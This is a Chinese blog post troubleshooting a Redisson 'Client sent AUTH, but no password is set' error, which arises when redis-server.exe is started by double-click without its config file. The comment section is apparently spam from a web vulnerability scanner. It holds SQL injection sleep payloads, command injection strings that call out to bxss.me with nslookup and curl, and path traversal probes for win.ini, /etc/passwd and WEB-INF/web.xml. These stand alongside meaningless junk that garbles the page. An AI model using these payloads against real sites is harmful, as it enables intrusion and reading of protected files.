今天在window搭建一个环境,项目启动发现redis连接失败报错
Caused by: org.springframework.beans.BeanInstantiationException: Failed to instantiate [org.redisson.api.RedissonClient]: Factory method 'redissonClient' threw exception; nested exception is org.redisson.client.RedisConnectionException: Unable to connect to Redis server: /127.0.0.1:6379
at org.springframework.beans.factory.support.SimpleInstantiationStrategy.instantiate(SimpleInstantiationStrategy.java:185)
at org.springframework.beans.factory.support.ConstructorResolver.instantiate(ConstructorResolver.java:651)
... 181 common frames omitted
Caused by: org.redisson.client.RedisConnectionException: Unable to connect to Redis server: /127.0.0.1:6379
at org.redisson.connection.pool.ConnectionPool$1.lambda$run$0(ConnectionPool.java:159)
at org.redisson.misc.RedissonPromise.lambda$onComplete$0(RedissonPromise.java:183)
at io.netty.util.concurrent.DefaultPromise.notifyListener0(DefaultPromise.java:577)
at io.netty.util.concurrent.DefaultPromise.notifyListenersNow(DefaultPromise.java:551)
at io.netty.util.concurrent.DefaultPromise.notifyListeners(DefaultPromise.java:490)
at io.netty.util.concurrent.DefaultPromise.setValue0(DefaultPromise.java:615)
at io.netty.util.concurrent.DefaultPromise.setFailure0(DefaultPromise.java:608)
at io.netty.util.concurrent.DefaultPromise.tryFailure(DefaultPromise.java:117)
at org.redisson.misc.RedissonPromise.tryFailure(RedissonPromise.java:96)
at org.redisson.connection.pool.ConnectionPool.promiseFailure(ConnectionPool.java:329)
at org.redisson.connection.pool.ConnectionPool.lambda$createConnection$1(ConnectionPool.java:295)
at org.redisson.misc.RedissonPromise.lambda$onComplete$0(RedissonPromise.java:183)
at io.netty.util.concurrent.DefaultPromise.notifyListener0(DefaultPromise.java:577)
at io.netty.util.concurrent.DefaultPromise.notifyListeners0(DefaultPromise.java:570)
at io.netty.util.concurrent.DefaultPromise.notifyListenersNow(DefaultPromise.java:549)
at io.netty.util.concurrent.DefaultPromise.notifyListeners(DefaultPromise.java:490)
at io.netty.util.concurrent.DefaultPromise.setValue0(DefaultPromise.java:615)
at io.netty.util.concurrent.DefaultPromise.setFailure0(DefaultPromise.java:608)
at io.netty.util.concurrent.DefaultPromise.tryFailure(DefaultPromise.java:117)
at org.redisson.misc.RedissonPromise.tryFailure(RedissonPromise.java:96)
at org.redisson.client.RedisClient$2$1.run(RedisClient.java:239)
at io.netty.util.concurrent.AbstractEventExecutor.safeExecute(AbstractEventExecutor.java:164)
at io.netty.util.concurrent.SingleThreadEventExecutor.runAllTasks(SingleThreadEventExecutor.java:472)
at io.netty.channel.nio.NioEventLoop.run(NioEventLoop.java:500)
at io.netty.util.concurrent.SingleThreadEventExecutor$4.run(SingleThreadEventExecutor.java:989)
at io.netty.util.internal.ThreadExecutorMap$2.run(ThreadExecutorMap.java:74)
at io.netty.util.concurrent.FastThreadLocalRunnable.run(FastThreadLocalRunnable.java:30)
at java.lang.Thread.run(Thread.java:748)
Caused by: org.redisson.client.RedisException: ERR Client sent AUTH, but no password is set. channel: [id: 0x3f28ad59, L:/127.0.0.1:64483 - R:/127.0.0.1:6379] command: (AUTH), params: (password masked)
at org.redisson.client.handler.CommandDecoder.decode(CommandDecoder.java:365)
at org.redisson.client.handler.CommandDecoder.decodeCommand(CommandDecoder.java:196)
at org.redisson.client.handler.CommandDecoder.decode(CommandDecoder.java:134)
at org.redisson.client.handler.CommandDecoder.decode(CommandDecoder.java:104)
at io.netty.handler.codec.ByteToMessageDecoder.decodeRemovalReentryProtection(ByteToMessageDecoder.java:498)
at io.netty.handler.codec.ReplayingDecoder.callDecode(ReplayingDecoder.java:366)
at io.netty.handler.codec.ByteToMessageDecoder.channelRead(ByteToMessageDecoder.java:276)
at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:377)
at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:363)
at io.netty.channel.AbstractChannelHandlerContext.fireChannelRead(AbstractChannelHandlerContext.java:355)
at io.netty.channel.DefaultChannelPipeline$HeadContext.channelRead(DefaultChannelPipeline.java:1410)
at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:377)
at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:363)
at io.netty.channel.DefaultChannelPipeline.fireChannelRead(DefaultChannelPipeline.java:919)
at io.netty.channel.nio.AbstractNioByteChannel$NioByteUnsafe.read(AbstractNioByteChannel.java:163)
at io.netty.channel.nio.NioEventLoop.processSelectedKey(NioEventLoop.java:714)
at io.netty.channel.nio.NioEventLoop.processSelectedKeysOptimized(NioEventLoop.java:650)
at io.netty.channel.nio.NioEventLoop.processSelectedKeys(NioEventLoop.java:576)
at io.netty.channel.nio.NioEventLoop.run(NioEventLoop.java:493)
... 4 common frames omitted
刚开始以为是redis密码错误
但再次确定redis.windows.conf里的 requirepass 和项目配置的是一样的
最后网上寻找答案
在window双击redis-server.exe 后,在redis控制台会打印出下面信息
[23444] 21 Dec 08:45:16.032 # Warning: no config file specified, using the default config.
In order to specify a config file use D:\lsinstall\Redis-x64-3.2.100\redis-server.exe /path/to/redis.conf
在双击启动的时候默认去找了redis.conf的配置文件
当前共有 409 条评论
'"()&%'"()&%
9563426
9563426'"()&%
'"()&%
9997331'"()&%
'"()&%
9228119'"()&%
'"()&%22222222222222
22222222222222
'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'1'"
1 ����%2527%2522
@@A97bg
GMzYwOhO')) OR 589=(SELECT 589 FROM PG_SLEEP(15))--
AsgBIXWF') OR 934=(SELECT 934 FROM PG_SLEEP(15))--
wZZTq4bD' OR 578=(SELECT 578 FROM PG_SLEEP(15))--
xf33bpta'; waitfor delay '0:0:15' --
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
if(now()=sysdate(),sleep(15),0)
-1' OR 2+21-21-1=0+0+0+1 --
-1' OR 2+78-78-1=0+0+0+1 or 'hulKU6xR'='
-1" OR 2+987-987-1=0+0+0+1 --
m81XdDyr
-1 OR 2+282-282-1=0+0+0+1 --
/static/WEB-INF/web.xml
&(nslookup -q=cname hithydqwvmgfwcc23a.bxss.me||curl hithydqwvmgfwcc23a.bxss.me)&'\"`0&(nslookup -q=cname hithydqwvmgfwcc23a.bxss.me||curl hithydqwvmgfwcc23a.bxss.me)&`'
/forward:/WEB-INF/web.xml
./WEB-INF/web.xml
|(nslookup -q=cname hitpuakdbasqh47ce2.bxss.me||curl hitpuakdbasqh47ce2.bxss.me)
������������������������������������������������windows��win.ini
..\..\..\..\..\..\..\..\windows\win.ini
..\..\..\..\..\..\..\..\windows\win.ini
echo hrnrqq$()\ cuqwlj\nz^xyu||a #' &echo hrnrqq$()\ cuqwlj\nz^xyu||a #|" &echo hrnrqq$()\ cuqwlj\nz^xyu||a #
/.\\./.\\./.\\./.\\./.\\./.\\./windows/win.ini
&echo arxckk$()\ avehdi\nz^xyu||a #' &echo arxckk$()\ avehdi\nz^xyu||a #|" &echo arxckk$()\ avehdi\nz^xyu||a #
../..//../..//../..//../..//../..//../..//../..//../..//windows/win.ini
&echo moutlg$()\ zzmppe\nz^xyu||a #' &echo moutlg$()\ zzmppe\nz^xyu||a #|" &echo moutlg$()\ zzmppe\nz^xyu||a #../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././windows/win.ini
|echo salrxo$()\ vghqcx\nz^xyu||a #' |echo salrxo$()\ vghqcx\nz^xyu||a #|" |echo salrxo$()\ vghqcx\nz^xyu||a #
|echo midzsu$()\ odcevp\nz^xyu||a #' |echo midzsu$()\ odcevp\nz^xyu||a #|" |echo midzsu$()\ odcevp\nz^xyu||a #WEB-INF/web.xml
(nslookup -q=cname hitmgoohmfktp42830.bxss.me||curl hitmgoohmfktp42830.bxss.me))
WEB-INF\web.xml
$(nslookup -q=cname hitobhqwgjool57bf4.bxss.me||curl hitobhqwgjool57bf4.bxss.me)
//WEB-INF/web.xml
&nslookup -q=cname hithnedjnzlkq6b6b4.bxss.me&'\"`0&nslookup -q=cname hithnedjnzlkq6b6b4.bxss.me&`'
'"
../././../././../././../././../././../././../././../././../././../././etc/passwd
'"()&%..��..��..��..��..��..��..��..��etc/passwd
感谢
感谢您的支持,我会继续努力的!